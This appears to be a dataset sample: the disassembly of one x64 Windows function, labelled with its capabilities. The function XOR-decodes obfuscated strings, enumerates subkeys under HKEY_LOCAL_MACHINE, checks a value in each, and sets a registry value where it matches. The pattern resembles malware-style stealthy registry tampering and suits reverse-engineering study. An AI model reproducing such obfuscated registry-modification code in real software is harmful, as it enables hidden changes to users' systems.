Function at 0x140002080
Capabilities:
Encode data using base64
Encode data using xor
Query or enumerate registry key
Query or enumerate registry value
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x9f8]
sub rsp, 0xad0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x14001d028]
xor rax, rsp
mov qword [rbp + 0x990], rax
xorps xmm0, xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
xor esi, esi
mov qword [rbp - 8], rsi
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
lea rdx, [rbp + 0x90]
call fcn.140001980
nop
mov rdi, qword [rbp + 0x98]
mov rbx, qword [rdi]
mov rcx, qword [rbp - 0x10]
cmp rbx, rdi
je 0x14000214c
lea r8, [rbx + 0x10]
cmp rcx, qword [rbp - 8]
je 0x140002131
mov rdx, r8
call fcn.140003400
mov rcx, qword [rbp - 0x10]
add rcx, 0x20
mov qword [rbp - 0x10], rcx
jmp 0x140002141
mov rdx, rcx
lea rcx, [rbp - 0x18]
call fcn.1400048f0
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
jne 0x140002111
mov r8d, esi
mov rdx, qword [rbp - 0x18]
mov rax, rdx
cmp rdx, rcx
je 0x14000216c
nop dword [rax + rax]
inc r8d
add rax, 0x20
cmp rax, rcx
jne 0x140002160
lea eax, [r8 + 1]
movsxd rdi, eax
mov qword [rsp + 0x68], rdi
cmp rdi, 1
jle 0x140002a78
mov ebx, 1
mov qword [rsp + 0x60], rbx
lea r14d, [rbx + 4]
lea r15d, [rbx + 0x1e]
mov r13d, dword [0x14001d008]
nop dword [rax + rax]
lea rax, [rbx - 1]
sub rcx, rdx
sar rcx, 5
cmp rcx, rax
jbe 0x140002b73
shl rax, 5
add rdx, rax
cmp qword [rdx + 0x18], 0x10
jb 0x1400021ce
mov r8, qword [rdx]
mov r9, r8
add r8, qword [rdx + 0x10]
jmp 0x1400021d8
mov r9, rdx
mov r8, qword [rdx + 0x10]
add r8, rdx
mov rdx, r9
lea rcx, [rbp + 0x68]
call fcn.1400040f0
nop
lea r12, [rbp + 0x68]
cmp qword [rbp + 0x80], 0x10
cmovae r12, qword [rbp + 0x68]
mov qword [rbp - 0x40], rsi
movups xmm0, xmmword [str.dajnqaJ23_0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140017750]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140017760]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x140017770]
movups xmmword [rbp - 0x60], xmm1
movsd xmm0, qword [0x140017780]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x140017788]
mov dword [rbp - 0x48], eax
movzx eax, word [0x14001778c]
mov word [rbp - 0x44], ax
mov r8d, esi
cmp r13d, 2
jl 0x14000239b
movdqa xmm5, xmmword [0x140018d20]
movdqa xmm4, xmmword [0x140018da0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x140018d50]
movd xmm8, r15d
movdqa xmm0, xmmword [0x140018d80]
movdqa xmmword [rbp - 0x30], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rbp - 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140018d60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140018d60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x140002290
cmp r8d, 0x4e
jge 0x1400023e3
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4e
jl 0x1400023b0
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, [rsp + 0x70]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140002a08
mov r15d, esi
mov dword [rbp - 0x20], 0x400
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
lea r9, [rbp - 0x20]
lea r8, [rbp + 0xd0]
xor edx, edx
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x1400029f8
nop dword [rax]
mov qword [rbp - 0x30], rsi
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, [rbp + 0xd0]
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400029b0
mov dword [rbp + 0x20], 0x400
movsd xmm0, qword [str.sJPLNy_LA]
movsd qword [rsp + 0x40], xmm0
movzx ecx, word [0x140017798]
mov word [rsp + 0x48], cx
movzx eax, byte [0x14001779a]
mov byte [rsp + 0x40], 0x44
xor byte [rsp + 0x41], 0x38
xor byte [rsp + 0x42], 0x39
xor byte [rsp + 0x43], 0x3a
xor byte [rsp + 0x44], 0x3b
xor byte [rsp + 0x45], 0x3c
xor byte [rsp + 0x46], 0x3d
xor byte [rsp + 0x47], 0x3e
xor cl, 0x3f
mov byte [rsp + 0x48], cl
xor byte [rsp + 0x49], 0x40
xor al, 0x41
mov byte [rsp + 0x4a], al
lea rax, [rbp + 0x20]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x4d0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x40]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400029a6
mov rdx, r12
lea rcx, [rbp + 0x4d0]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbscmp]
test eax, eax
jne 0x1400029a6
lea rdx, [rbp]
call fcn.140001230
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], rsi
mov qword [rbp + 0x40], rsi
mov rbx, qword [rbp + 0x10]
lea r14, [rbp]
mov r9, qword [rbp]
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
cmovae r14, r9
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x140002b7f
cmp rbx, 0x10
jae 0x140002594
mov qword [rbp + 0x38], rbx
mov edi, 0xf
mov qword [rbp + 0x40], rdi
movups xmm0, xmmword [r14]
movups xmmword [rbp + 0x28], xmm0
movq rsi, xmm0
jmp 0x140002635
mov qword [rbp + 0x40], 0xf
mov rdi, rbx
or rdi, 0xf
cmp rdi, rax
jbe 0x1400025ad
mov rdi, rax
jmp 0x1400025ba
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
mov rcx, rdi
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x140002601
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002b79
mov rcx, rax
call fcn.1400159f0
test rax, rax
je 0x140002a63
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000260e
test rcx, rcx
je 0x14000260e
call fcn.1400159f0
mov rsi, rax
mov qword [rbp + 0x28], rsi
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x40], rdi
lea r8, [rbx + 1]
mov rdx, r14
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [rbp + 0x18]
mov rbx, qword [rbp + 0x10]
mov r9, qword [rbp]
lea r14, [rbp]
cmp rdx, 0x10
setae cl
cmovae r14, r9
add r14, rbx
lea rax, [rbp]
test cl, cl
je 0x140002654
add rbx, r9
jmp 0x14000265b
add rbx, rax
lea r9, [rbp]
mov r8b, 0x2d
mov rdx, rbx
mov rcx, r9
call fcn.1400158c0
mov r10, rax
cmp rax, rbx
je 0x140002696
inc rax
cmp rax, rbx
je 0x140002696
nop dword [rax]
movzx ecx, byte [rax]
cmp cl, 0x2d
je 0x14000268e
mov byte [r10], cl
inc r10
inc rax
cmp rax, rbx
jne 0x140002680
lea rcx, [rbp]
cmp qword [rbp + 0x18], 0x10
setae r8b
cmovae rcx, qword [rbp]
mov r9, r10
sub r9, rcx
sub r14, r10
mov rbx, qword [rbp + 0x10]
mov rax, rbx
sub rax, r9
cmp rax, r14
cmovb r14, rax
lea rcx, [rbp]
test r8b, r8b
cmovne rcx, qword [rbp]
add rcx, r9
sub rbx, r14
mov r8, rbx
sub r8, r9
inc r8
lea rdx, [rcx + r14]
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0x10], rbx
lea r8, [rbp]
cmp qword [rbp + 0x18], 0x10
setae r9b
cmovae r8, qword [rbp]
add r8, rbx
lea rdx, [rbp]
test r9b, r9b
cmovne rdx, qword [rbp]
lea rcx, [rbp + 0x48]
call fcn.1400040f0
lea r9, [rbp + 0x48]
movsd xmm0, qword [str.y_MMTNV]
mov eax, dword [str.__307E]
movsd qword [rsp + 0x50], xmm0
mov dword [rsp + 0x58], eax
movzx eax, word [0x1400177b4]
mov word [rsp + 0x5c], ax
movzx eax, byte [0x1400177b6]
mov byte [rsp + 0x5e], al
cmp qword [rbp + 0x60], 0x10
jb 0x140002752
mov r9, qword [rbp + 0x48]
xor ecx, ecx
lea r14d, [rcx + 5]
cmp r13d, 2
jl 0x140002875
movdqa xmm4, xmmword [0x140018da0]
movd xmm6, r14d
mov eax, 0x1f
movd xmm5, eax
movdqa xmm2, xmmword [0x140018d20]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140018d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140018d60]
packuswb xmm2, xmm2
mov eax, dword [0x140018d80]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.y_MMTNV]
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movdqa xmm3, xmmword [0x140018d30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140018d50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140018d60]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
mov ecx, 8
movsxd rax, ecx
lea r8, [rsp + 0x50]
add r8, rax
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
sub al, dl
add al, 0x37
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xf
jl 0x140002880
mov rax, 0xffffffffffffffff
inc rax
cmp byte [r9 + rax], 0
jne 0x1400028b5
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r9
mov r9d, 1
xor r8d, r8d
lea rdx, [rsp + 0x50]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rdx, qword [rbp + 0x60]
cmp rdx, 0x10
jb 0x14000291d
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002918
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002a5c
call fcn.140015a2c
mov qword [rbp + 0x58], 0
mov qword [rbp + 0x60], 0xf
mov byte [rbp + 0x48], 0
cmp rdi, 0x10
jb 0x140002969
lea rdx, [rdi + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140002960
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002a63
mov rcx, rsi
call fcn.140015a2c
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x1400029a4
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000299f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002a6a
call fcn.140015a2c
xor esi, esi
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rbp - 0x20], 0x400
inc r15d
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
lea r9, [rbp - 0x20]
lea r8, [rbp + 0xd0]
mov edx, r15d
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
je 0x140002450
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r15d, 0x1f
inc rbx
mov qword [rsp + 0x60], rbx
mov rdx, qword [rbp + 0x80]
cmp rdx, 0x10
jb 0x140002a4a
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a45
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002a71
call fcn.140015a2c
cmp rbx, rdi
jge 0x140002a78
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 0x18]
jmp 0x1400021a0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, qword [rbp + 0xa8]
test rcx, rcx
je 0x140002ad9
mov rax, qword [rbp + 0xb8]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ac2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002ac2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140015a2c
mov qword [rbp + 0xa8], rsi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0x98]
call fcn.140002c60
nop
mov rcx, qword [rbp - 0x18]
test rcx, rcx
je 0x140002b34
mov rdx, qword [rbp - 0x10]
call fcn.140004580
mov rdx, qword [rbp - 8]
mov rcx, qword [rbp - 0x18]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b2f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b2f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140015a2c
mov rcx, qword [rbp + 0x990]
xor rcx, rsp
call fcn.1400159d0
lea r11, [rsp + 0xad0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140003670
nop
call fcn.140001150
int3
call fcn.1400011f0
int3